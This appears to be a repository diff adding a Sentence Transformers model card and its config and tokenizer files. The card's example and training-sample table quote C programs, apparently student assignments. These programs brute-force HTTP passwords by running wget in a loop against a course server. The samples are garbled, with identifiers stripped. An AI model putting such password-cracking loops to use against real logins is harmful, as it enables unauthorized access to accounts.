failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
|
| 586 |
+
]
|
| 587 |
+
embeddings = model.encode(sentences)
|
| 588 |
+
print(embeddings.shape)
|
| 589 |
+
# [3, 768]
|
| 590 |
+
|
| 591 |
+
# Get the similarity scores for the embeddings
|
| 592 |
+
similarities = model.similarity(embeddings, embeddings)
|
| 593 |
+
print(similarities)
|
| 594 |
+
# tensor([[1.0000, 0.9511, 0.9570],
|
| 595 |
+
# [0.9511, 1.0000, 0.9799],
|
| 596 |
+
# [0.9570, 0.9799, 1.0000]])
|
| 597 |
+
```
|
| 598 |
+
|
| 599 |
+
<!--
|
| 600 |
+
### Direct Usage (Transformers)
|
| 601 |
+
|
| 602 |
+
<details><summary>Click to see the direct usage in Transformers</summary>
|
| 603 |
+
|
| 604 |
+
</details>
|
| 605 |
+
-->
|
| 606 |
+
|
| 607 |
+
<!--
|
| 608 |
+
### Downstream Usage (Sentence Transformers)
|
| 609 |
+
|
| 610 |
+
You can finetune this model on your own dataset.
|
| 611 |
+
|
| 612 |
+
<details><summary>Click to expand</summary>
|
| 613 |
+
|
| 614 |
+
</details>
|
| 615 |
+
-->
|
| 616 |
+
|
| 617 |
+
<!--
|
| 618 |
+
### Out-of-Scope Use
|
| 619 |
+
|
| 620 |
+
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
|
| 621 |
+
-->
|
| 622 |
+
|
| 623 |
+
<!--
|
| 624 |
+
## Bias, Risks and Limitations
|
| 625 |
+
|
| 626 |
+
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
|
| 627 |
+
-->
|
| 628 |
+
|
| 629 |
+
<!--
|
| 630 |
+
### Recommendations
|
| 631 |
+
|
| 632 |
+
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
|
| 633 |
+
-->
|
| 634 |
+
|
| 635 |
+
## Training Details
|
| 636 |
+
|
| 637 |
+
### Training Dataset
|
| 638 |
+
|
| 639 |
+
#### Unnamed Dataset
|
| 640 |
+
|
| 641 |
+
* Size: 3,081 training samples
|
| 642 |
+
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
|
| 643 |
+
* Approximate statistics based on the first 1000 samples:
|
| 644 |
+
| | sentence_0 | sentence_1 | label |
|
| 645 |
+
|:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------|
|
| 646 |
+
| type | string | string | int |
|
| 647 |
+
| details | <ul><li>min: 194 tokens</li><li>mean: 471.45 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 194 tokens</li><li>mean: 460.74 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.10%</li><li>1: ~0.90%</li></ul> |
|
| 648 |
+
* Samples:
|
| 649 |
+
| sentence_0 | sentence_1 | label |
|
| 650 |
+
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
|
| 651 |
+
| <code><br><br>#include<stdio.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<ctype.h><br>#define MAX_SIZE 255<br><br><br><br>int genchkpwd(char *chararray,char *passwd)<br> {<br> int i,j,k,success;<br> char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];<br> <br> <br> strcpy(str1,"wget --http-user= --http-passwd=");<br> strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");<br> strcpy(tempstr,"");<br><br><br><br> for(i=0;i<52;i++)<br> {<br> passwd[0]= chararray[i];<br> strcat(tempstr,str1);<br> strcat(tempstr,passwd);<br> strcat(tempstr,str2);<br> printf("SENDING REQUEST AS %s\n",tempstr);<br> success=system (tempstr);<br> if (success==0)<br> return 1;<br> else<br> strcpy(tempstr,""); <br> strcpy(passwd,"");<br> } <br><br><br><br> for(i=0;i<52;i++)<br> {<br> passwd[0]= chararray[i];<br> for(j=0;j<52;j++)<br> {<br> passwd[1]=chararray[j];<br> strcat(tempstr,str1);<br> strcat(tempstr,passwd);<br> strcat(tempstr,str2);<br> printf("SENDING REQUEST AS %s\n",tempstr);<br> success=syste...</code> | <code>#include<stdio.h><br>#include<stdlib.h><br>#include<strings.h><br>#include<ctype.h><br>#include <sys/time.h><br>#define OneBillion 1e9<br><br><br>int ()<br>{ int startTime, stopTime, final;<br> int i,j,k;<br> int pass,count=0;<br> char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};<br> char [4];<br> char url1[100];<br> char url2[100];<br><br> startTime = time();<br> for (i=0;i<=52;i++)<br> {<br><br> for (j=0;j<=52;j++)<br> {<br><br> for(k=0;k<=52;k++)<br><br> { <br> count++;<br> [0] = arr[i];<br> [1] = arr[j];<br> [2] = arr[k];<br> [3] = '\0';<br><br><br> printf("Checking for the word :%s\n",);<br> strcpy(url1 ,"wget --http-user= --http-passwd=");<br> strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");<br> strcat(url1,);<br> strcat(url1,url2);<br><br><br> pass = system(url1);<br> if (pass == 0)<br> { <br> ...</code> | <code>0</code> |
|
| 652 |
+
| <code>#include<stdio.h><br>#include<string.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<sys/time.h><br><br>()<br>{<br> int i,m,k,count=0;<br> FILE* diction;<br> FILE* log;<br> char s[30];<br> char pic[30];<br> char add[1000];<br> char end[100];<br> time_t ,finish;<br> double ttime;<br> <br> strcpy(add,"wget --http-user= --http-passwd=");<br> strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");<br> diction=fopen("/usr/share/lib/dict/words","r");<br> =time(NULL);<br> while(fgets(s,100,diction)!=NULL) <br> { <br> printf("%s\n",s);<br> for(m=40,k=0;k<(strlen(s)-1);k++,m++)<br> {<br> add[m]=s[k];<br> }<br> add[m++]=' ';<br> for(i=0;i<50;i++,m++)<br> {<br> add[m]=end[i];<br> }<br> add[m]='\0';<br> <br> system(add);<br> count++;<br> log=fopen("logd","r");<br> fgets(pic,100,log);<br> printf("%s",pic);<br> if(strcmp(pic,"Authorization failed.\n")!=0) <br> {<br> finish=time(NULL);<br> ttime=difftime(,finish);<br> printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);<br> break;<br> }<br> fclose(log);<br> }<br><br>}<br></code> | <code>#include <string.h><br>#include <stdlib.h><br>#include <stdio.h><br>#include <fcntl.h><br>#include <unistd.h><br>#include <sys/wait.h><br>#include <sys/time.h><br><br><br><br>char* joinMe(char* t, char* t2)<br>{<br> char* result;<br> int length = 0;<br> int j = 0;<br> int counter = 0;<br> <br> length = strlen(t) + strlen(t2) + 1;<br> <br> result = malloc(sizeof(char) * length);<br> <br> <br> for(j = 0; j<strlen(t); j++)<br> {<br> result[j] = t[j];<br> }<br><br> <br> for(j = strlen(t); j<length; j++)<br> {<br> result[j] = t2[counter];<br> counter++;<br> }<br> <br> <br> result[length-1] = '\0';<br><br> return result;<br>}<br><br><br>void check(char** smallcmd)<br>{<br> int pid = 0;<br> int status;<br><br> <br> if( (pid = fork()) == 0)<br> {<br> <br> execvp(smallcmd[0],smallcmd);<br> }<br> else<br> {<br> <br> while(wait(&status) != pid);<br> }<br>}<br><br>int (void)<br>{<br> int i = 0, j = 0, k = 0;<br> char** smallcmd;<br> char* [] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w",<br> "x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T",<br> "U","V","W","X","Y","Z"};<br> int count ...</code> | <code>0</code> |
|
| 653 |
+
| <code><br># include <stdio.h><br># include <stdlib.h><br># include <string.h><br># include <strings.h><br># include <sys/time.h><br><br>int ()<br>{<br><br> char s[30];<br> char c[100];<br> char usr[50];<br> char url[100];<br> char charcopy[200];<br> <br> int starting,ending; <br> int totaltime;<br><br> FILE* fp;<br> FILE* f;<br> <br> int i,j,k;<br> <br> fp = fopen("/usr/share/lib/dict/words","r"); <br> strcpy(charcopy, "wget --http-user= --http-passwd="); <br> strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/"); <br> <br> starting=time(); <br><br> <br> while(!feof(fp))<br> {<br> j=40;<br> fgets(c,30,fp); <br> <br> <br> for(i=0;i<strlen(c);i++) <br> {<br> charcopy[j]=c[i];<br> j++;<br> }<br> charcopy[j-1] = ' ';<br> <br> for(i=0;i<strlen(url);i++) <br> {<br> charcopy[j]=url[i]; <br> j++;<br> }<br> <br> charcopy[j] = '\0';<br><br> printf("%s\n",c);<br> system(charcopy);<br> <br> f = fopen("logfile1","r"); <br> <br> if(f != (FILE*) NULL)<br> {<br> <br> fgets(s,30,f); <br> if(strcmp(s,"Authorization failed.\n")!=0) <br> {<br> ending=time();<br> totaltime=ending-starti...</code> | <code>#include<stdio.h><br>#include<strings.h><br>#include<stdlib.h><br>#include<ctype.h><br><br>#define MINSIZE 26<br>#define MAXSIZE 52<br>#define MAX_SIZE 255<br><br><br>int CrackPasswd(char *passwd)<br>{<br> int flag;<br> char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];<br> <br> strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");<br> strcpy(string2," --http-user= --http-passwd='");<br> strcpy(,"");<br> <br> strcat(, string1);<br> strcat(, string2);<br> strcat(, passwd);<br> strcat(, "'");<br> printf("Sending Request as %s\n",);<br> flag = system();<br> <br> if (flag == 0)<br> {<br> printf("\nPassword is %s\n",passwd);<br> return 1;<br> }<br> <br> strcpy(,""); <br> return 0;<br>} <br><br><br>int BruteForce(char *CharArray)<br>{<br> int i, j, k;<br> char passwd[MAX_SIZE];<br> <br> for (i=0;i<MAX_SIZE;i++) <br> passwd[i] = '\0';<br> <br> for(i=0;i<MAXSIZE;i++)<br> {<br> passwd[0] = CharArray[i];<br> if(CrackPasswd(passwd) == 1)<br> return 1; <br> }<br><br> for(i=0;i<MAXSIZE;i++)<br> {<br> passwd[0] = CharArray[i];<br> ...</code> | <code>0</code> |
|
| 654 |
+
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
|
| 655 |
+
|
| 656 |
+
### Training Hyperparameters
|
| 657 |
+
#### Non-Default Hyperparameters
|
| 658 |
+
|
| 659 |
+
- `per_device_train_batch_size`: 16
|
| 660 |
+
- `per_device_eval_batch_size`: 16
|
| 661 |
+
- `num_train_epochs`: 1
|
| 662 |
+
- `fp16`: True
|
| 663 |
+
- `multi_dataset_batch_sampler`: round_robin
|
| 664 |
+
|
| 665 |
+
#### All Hyperparameters
|
| 666 |
+
<details><summary>Click to expand</summary>
|
| 667 |
+
|
| 668 |
+
- `overwrite_output_dir`: False
|
| 669 |
+
- `do_predict`: False
|
| 670 |
+
- `eval_strategy`: no
|
| 671 |
+
- `prediction_loss_only`: True
|
| 672 |
+
- `per_device_train_batch_size`: 16
|
| 673 |
+
- `per_device_eval_batch_size`: 16
|
| 674 |
+
- `per_gpu_train_batch_size`: None
|
| 675 |
+
- `per_gpu_eval_batch_size`: None
|
| 676 |
+
- `gradient_accumulation_steps`: 1
|
| 677 |
+
- `eval_accumulation_steps`: None
|
| 678 |
+
- `torch_empty_cache_steps`: None
|
| 679 |
+
- `learning_rate`: 5e-05
|
| 680 |
+
- `weight_decay`: 0.0
|
| 681 |
+
- `adam_beta1`: 0.9
|
| 682 |
+
- `adam_beta2`: 0.999
|
| 683 |
+
- `adam_epsilon`: 1e-08
|
| 684 |
+
- `max_grad_norm`: 1
|
| 685 |
+
- `num_train_epochs`: 1
|
| 686 |
+
- `max_steps`: -1
|
| 687 |
+
- `lr_scheduler_type`: linear
|
| 688 |
+
- `lr_scheduler_kwargs`: {}
|
| 689 |
+
- `warmup_ratio`: 0.0
|
| 690 |
+
- `warmup_steps`: 0
|
| 691 |
+
- `log_level`: passive
|
| 692 |
+
- `log_level_replica`: warning
|
| 693 |
+
- `log_on_each_node`: True
|
| 694 |
+
- `logging_nan_inf_filter`: True
|
| 695 |
+
- `save_safetensors`: True
|
| 696 |
+
- `save_on_each_node`: False
|
| 697 |
+
- `save_only_model`: False
|
| 698 |
+
- `restore_callback_states_from_checkpoint`: False
|
| 699 |
+
- `no_cuda`: False
|
| 700 |
+
- `use_cpu`: False
|
| 701 |
+
- `use_mps_device`: False
|
| 702 |
+
- `seed`: 42
|
| 703 |
+
- `data_seed`: None
|
| 704 |
+
- `jit_mode_eval`: False
|
| 705 |
+
- `use_ipex`: False
|
| 706 |
+
- `bf16`: False
|
| 707 |
+
- `fp16`: True
|
| 708 |
+
- `fp16_opt_level`: O1
|
| 709 |
+
- `half_precision_backend`: auto
|
| 710 |
+
- `bf16_full_eval`: False
|
| 711 |
+
- `fp16_full_eval`: False
|
| 712 |
+
- `tf32`: None
|
| 713 |
+
- `local_rank`: 0
|
| 714 |
+
- `ddp_backend`: None
|
| 715 |
+
- `tpu_num_cores`: None
|
| 716 |
+
- `tpu_metrics_debug`: False
|
| 717 |
+
- `debug`: []
|
| 718 |
+
- `dataloader_drop_last`: False
|
| 719 |
+
- `dataloader_num_workers`: 0
|
| 720 |
+
- `dataloader_prefetch_factor`: None
|
| 721 |
+
- `past_index`: -1
|
| 722 |
+
- `disable_tqdm`: False
|
| 723 |
+
- `remove_unused_columns`: True
|
| 724 |
+
- `label_names`: None
|
| 725 |
+
- `load_best_model_at_end`: False
|
| 726 |
+
- `ignore_data_skip`: False
|
| 727 |
+
- `fsdp`: []
|
| 728 |
+
- `fsdp_min_num_params`: 0
|
| 729 |
+
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
|
| 730 |
+
- `fsdp_transformer_layer_cls_to_wrap`: None
|
| 731 |
+
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
|
| 732 |
+
- `deepspeed`: None
|
| 733 |
+
- `label_smoothing_factor`: 0.0
|
| 734 |
+
- `optim`: adamw_torch
|
| 735 |
+
- `optim_args`: None
|
| 736 |
+
- `adafactor`: False
|
| 737 |
+
- `group_by_length`: False
|
| 738 |
+
- `length_column_name`: length
|
| 739 |
+
- `ddp_find_unused_parameters`: None
|
| 740 |
+
- `ddp_bucket_cap_mb`: None
|
| 741 |
+
- `ddp_broadcast_buffers`: False
|
| 742 |
+
- `dataloader_pin_memory`: True
|
| 743 |
+
- `dataloader_persistent_workers`: False
|
| 744 |
+
- `skip_memory_metrics`: True
|
| 745 |
+
- `use_legacy_prediction_loop`: False
|
| 746 |
+
- `push_to_hub`: False
|
| 747 |
+
- `resume_from_checkpoint`: None
|
| 748 |
+
- `hub_model_id`: None
|
| 749 |
+
- `hub_strategy`: every_save
|
| 750 |
+
- `hub_private_repo`: None
|
| 751 |
+
- `hub_always_push`: False
|
| 752 |
+
- `gradient_checkpointing`: False
|
| 753 |
+
- `gradient_checkpointing_kwargs`: None
|
| 754 |
+
- `include_inputs_for_metrics`: False
|
| 755 |
+
- `include_for_metrics`: []
|
| 756 |
+
- `eval_do_concat_batches`: True
|
| 757 |
+
- `fp16_backend`: auto
|
| 758 |
+
- `push_to_hub_model_id`: None
|
| 759 |
+
- `push_to_hub_organization`: None
|
| 760 |
+
- `mp_parameters`:
|
| 761 |
+
- `auto_find_batch_size`: False
|
| 762 |
+
- `full_determinism`: False
|
| 763 |
+
- `torchdynamo`: None
|
| 764 |
+
- `ray_scope`: last
|
| 765 |
+
- `ddp_timeout`: 1800
|
| 766 |
+
- `torch_compile`: False
|
| 767 |
+
- `torch_compile_backend`: None
|
| 768 |
+
- `torch_compile_mode`: None
|
| 769 |
+
- `include_tokens_per_second`: False
|
| 770 |
+
- `include_num_input_tokens_seen`: False
|
| 771 |
+
- `neftune_noise_alpha`: None
|
| 772 |
+
- `optim_target_modules`: None
|
| 773 |
+
- `batch_eval_metrics`: False
|
| 774 |
+
- `eval_on_start`: False
|
| 775 |
+
- `use_liger_kernel`: False
|
| 776 |
+
- `eval_use_gather_object`: False
|
| 777 |
+
- `average_tokens_across_devices`: False
|
| 778 |
+
- `prompts`: None
|
| 779 |
+
- `batch_sampler`: batch_sampler
|
| 780 |
+
- `multi_dataset_batch_sampler`: round_robin
|
| 781 |
+
- `router_mapping`: {}
|
| 782 |
+
- `learning_rate_mapping`: {}
|
| 783 |
+
|
| 784 |
+
</details>
|
| 785 |
+
|
| 786 |
+
### Framework Versions
|
| 787 |
+
- Python: 3.11.13
|
| 788 |
+
- Sentence Transformers: 5.0.0
|
| 789 |
+
- Transformers: 4.52.4
|
| 790 |
+
- PyTorch: 2.6.0+cu124
|
| 791 |
+
- Accelerate: 1.8.1
|
| 792 |
+
- Datasets: 3.6.0
|
| 793 |
+
- Tokenizers: 0.21.2
|
| 794 |
+
|
| 795 |
+
## Citation
|
| 796 |
+
|
| 797 |
+
### BibTeX
|
| 798 |
+
|
| 799 |
+
#### Sentence Transformers
|
| 800 |
+
```bibtex
|
| 801 |
+
@inproceedings{reimers-2019-sentence-bert,
|
| 802 |
+
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
|
| 803 |
+
author = "Reimers, Nils and Gurevych, Iryna",
|
| 804 |
+
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
|
| 805 |
+
month = "11",
|
| 806 |
+
year = "2019",
|
| 807 |
+
publisher = "Association for Computational Linguistics",
|
| 808 |
+
url = "https://arxiv.org/abs/1908.10084",
|
| 809 |
+
}
|
| 810 |
+
```
|
| 811 |
+
|
| 812 |
+
#### BatchAllTripletLoss
|
| 813 |
+
```bibtex
|
| 814 |
+
@misc{hermans2017defense,
|
| 815 |
+
title={In Defense of the Triplet Loss for Person Re-Identification},
|
| 816 |
+
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
|
| 817 |
+
year={2017},
|
| 818 |
+
eprint={1703.07737},
|
| 819 |
+
archivePrefix={arXiv},
|
| 820 |
+
primaryClass={cs.CV}
|
| 821 |
+
}
|
| 822 |
+
```
|
| 823 |
+
|
| 824 |
+
<!--
|
| 825 |
+
## Glossary
|
| 826 |
+
|
| 827 |
+
*Clearly define terms in order to be accessible across audiences.*
|
| 828 |
+
-->
|
| 829 |
+
|
| 830 |
+
<!--
|
| 831 |
+
## Model Card Authors
|
| 832 |
+
|
| 833 |
+
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
|
| 834 |
+
-->
|
| 835 |
+
|
| 836 |
+
<!--
|
| 837 |
+
## Model Card Contact
|
| 838 |
+
|
| 839 |
+
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
|
| 840 |
+
-->
|
config.json
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"architectures": [
|
| 3 |
+
"RobertaModel"
|
| 4 |
+
],
|
| 5 |
+
"attention_probs_dropout_prob": 0.1,
|
| 6 |
+
"bos_token_id": 0,
|
| 7 |
+
"classifier_dropout": null,
|
| 8 |
+
"eos_token_id": 2,
|
| 9 |
+
"gradient_checkpointing": false,
|
| 10 |
+
"hidden_act": "gelu",
|
| 11 |
+
"hidden_dropout_prob": 0.1,
|
| 12 |
+
"hidden_size": 768,
|
| 13 |
+
"initializer_range": 0.02,
|
| 14 |
+
"intermediate_size": 3072,
|
| 15 |
+
"layer_norm_eps": 1e-05,
|
| 16 |
+
"max_position_embeddings": 514,
|
| 17 |
+
"model_type": "roberta",
|
| 18 |
+
"num_attention_heads": 12,
|
| 19 |
+
"num_hidden_layers": 12,
|
| 20 |
+
"output_past": true,
|
| 21 |
+
"pad_token_id": 1,
|
| 22 |
+
"position_embedding_type": "absolute",
|
| 23 |
+
"torch_dtype": "float32",
|
| 24 |
+
"transformers_version": "4.52.4",
|
| 25 |
+
"type_vocab_size": 1,
|
| 26 |
+
"use_cache": true,
|
| 27 |
+
"vocab_size": 50265
|
| 28 |
+
}
|
config_sentence_transformers.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"model_type": "SentenceTransformer",
|
| 3 |
+
"__version__": {
|
| 4 |
+
"sentence_transformers": "5.0.0",
|
| 5 |
+
"transformers": "4.52.4",
|
| 6 |
+
"pytorch": "2.6.0+cu124"
|
| 7 |
+
},
|
| 8 |
+
"prompts": {
|
| 9 |
+
"query": "",
|
| 10 |
+
"document": ""
|
| 11 |
+
},
|
| 12 |
+
"default_prompt_name": null,
|
| 13 |
+
"similarity_fn_name": "cosine"
|
| 14 |
+
}
|
merges.txt
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
model.safetensors
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:29fc3546eabb9ccef8d835ed732ceaa0372709270ac9836d1a67488a8bed0874
|
| 3 |
+
size 498604904
|
modules.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"idx": 0,
|
| 4 |
+
"name": "0",
|
| 5 |
+
"path": "",
|
| 6 |
+
"type": "sentence_transformers.models.Transformer"
|
| 7 |
+
},
|
| 8 |
+
{
|
| 9 |
+
"idx": 1,
|
| 10 |
+
"name": "1",
|
| 11 |
+
"path": "1_Pooling",
|
| 12 |
+
"type": "sentence_transformers.models.Pooling"
|
| 13 |
+
}
|
| 14 |
+
]
|
sentence_bert_config.json
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"max_seq_length": 512,
|
| 3 |
+
"do_lower_case": false
|
| 4 |
+
}
|
special_tokens_map.json
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"bos_token": {
|
| 3 |
+
"content": "<s>",
|
| 4 |
+
"lstrip": false,
|
| 5 |
+
"normalized": true,
|
| 6 |
+
"rstrip": false,
|
| 7 |
+
"single_word": false
|
| 8 |
+
},
|
| 9 |
+
"cls_token": {
|
| 10 |
+
"content": "<s>",
|
| 11 |
+
"lstrip": false,
|
| 12 |
+
"normalized": true,
|
| 13 |
+
"rstrip": false,
|
| 14 |
+
"single_word": false
|
| 15 |
+
},
|
| 16 |
+
"eos_token": {
|
| 17 |
+
"content": "</s>",
|
| 18 |
+
"lstrip": false,
|
| 19 |
+
"normalized": true,
|
| 20 |
+
"rstrip": false,
|
| 21 |
+
"single_word": false
|
| 22 |
+
},
|
| 23 |
+
"mask_token": {
|
| 24 |
+
"content": "<mask>",
|
| 25 |
+
"lstrip": true,
|
| 26 |
+
"normalized": true,
|
| 27 |
+
"rstrip": false,
|
| 28 |
+
"single_word": false
|
| 29 |
+
},
|
| 30 |
+
"pad_token": {
|
| 31 |
+
"content": "<pad>",
|
| 32 |
+
"lstrip": false,
|
| 33 |
+
"normalized": true,
|
| 34 |
+
"rstrip": false,
|
| 35 |
+
"single_word": false
|
| 36 |
+
},
|
| 37 |
+
"sep_token": {
|
| 38 |
+
"content": "</s>",
|
| 39 |
+
"lstrip": false,
|
| 40 |
+
"normalized": true,
|
| 41 |
+
"rstrip": false,
|
| 42 |
+
"single_word": false
|
| 43 |
+
},
|
| 44 |
+
"unk_token": {
|
| 45 |
+
"content": "<unk>",
|
| 46 |
+
"lstrip": false,
|
| 47 |
+
"normalized": true,
|
| 48 |
+
"rstrip": false,
|
| 49 |
+
"single_word": false
|
| 50 |
+
}
|
| 51 |
+
}
|
tokenizer.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
tokenizer_config.json
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"add_prefix_space": false,
|
| 3 |
+
"added_tokens_decoder": {
|
| 4 |
+
"0": {
|
| 5 |
+
"content": "<s>",
|
| 6 |
+
"lstrip": false,
|
| 7 |
+
"normalized": true,
|
| 8 |
+
"rstrip": false,
|
| 9 |
+
"single_word": false,
|
| 10 |
+
"special": true
|
| 11 |
+
},
|
| 12 |
+
"1": {
|
| 13 |
+
"content": "<pad>",
|
| 14 |
+
"lstrip": false,
|
| 15 |
+
"normalized": true,
|
| 16 |
+
"rstrip": false,
|
| 17 |
+
"single_word": false,
|
| 18 |
+
"special": true
|
| 19 |
+
},
|
| 20 |
+
"2": {
|
| 21 |
+
"content": "</s>",
|
| 22 |
+
"lstrip": false,
|
| 23 |
+
"normalized": true,
|
| 24 |
+
"rstrip": false,
|
| 25 |
+
"single_word": false,
|
| 26 |
+
"special": true
|
| 27 |
+
},
|
| 28 |
+
"3": {
|
| 29 |
+
"content": "<unk>",
|
| 30 |
+
"lstrip": false,
|
| 31 |
+
"normalized": true,
|
| 32 |
+
"rstrip": false,
|
| 33 |
+
"single_word": false,
|
| 34 |
+
"special": true
|
| 35 |
+
},
|
| 36 |
+
"50264": {
|
| 37 |
+
"content": "<mask>",
|
| 38 |
+
"lstrip": true,
|
| 39 |
+
"normalized": true,
|
| 40 |
+
"rstrip": false,
|
| 41 |
+
"single_word": false,
|
| 42 |
+
"special": true
|
| 43 |
+
}
|
| 44 |
+
},
|
| 45 |
+
"bos_token": "<s>",
|
| 46 |
+
"clean_up_tokenization_spaces": false,
|
| 47 |
+
"cls_token": "<s>",
|
| 48 |
+
"eos_token": "</s>",
|
| 49 |
+
"errors": "replace",
|
| 50 |
+
"extra_special_tokens": {},
|
| 51 |
+
"mask_token": "<mask>",
|
| 52 |
+
"model_max_length": 512,
|
| 53 |
+
"pad_token": "<pad>",
|
| 54 |
+
"sep_token": "</s>",
|
| 55 |
+
"tokenizer_class": "RobertaTokenizer",
|
| 56 |
+
"trim_offsets": true,
|
| 57 |
+
"unk_token": "<unk>"
|
| 58 |
+
}
|
vocab.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|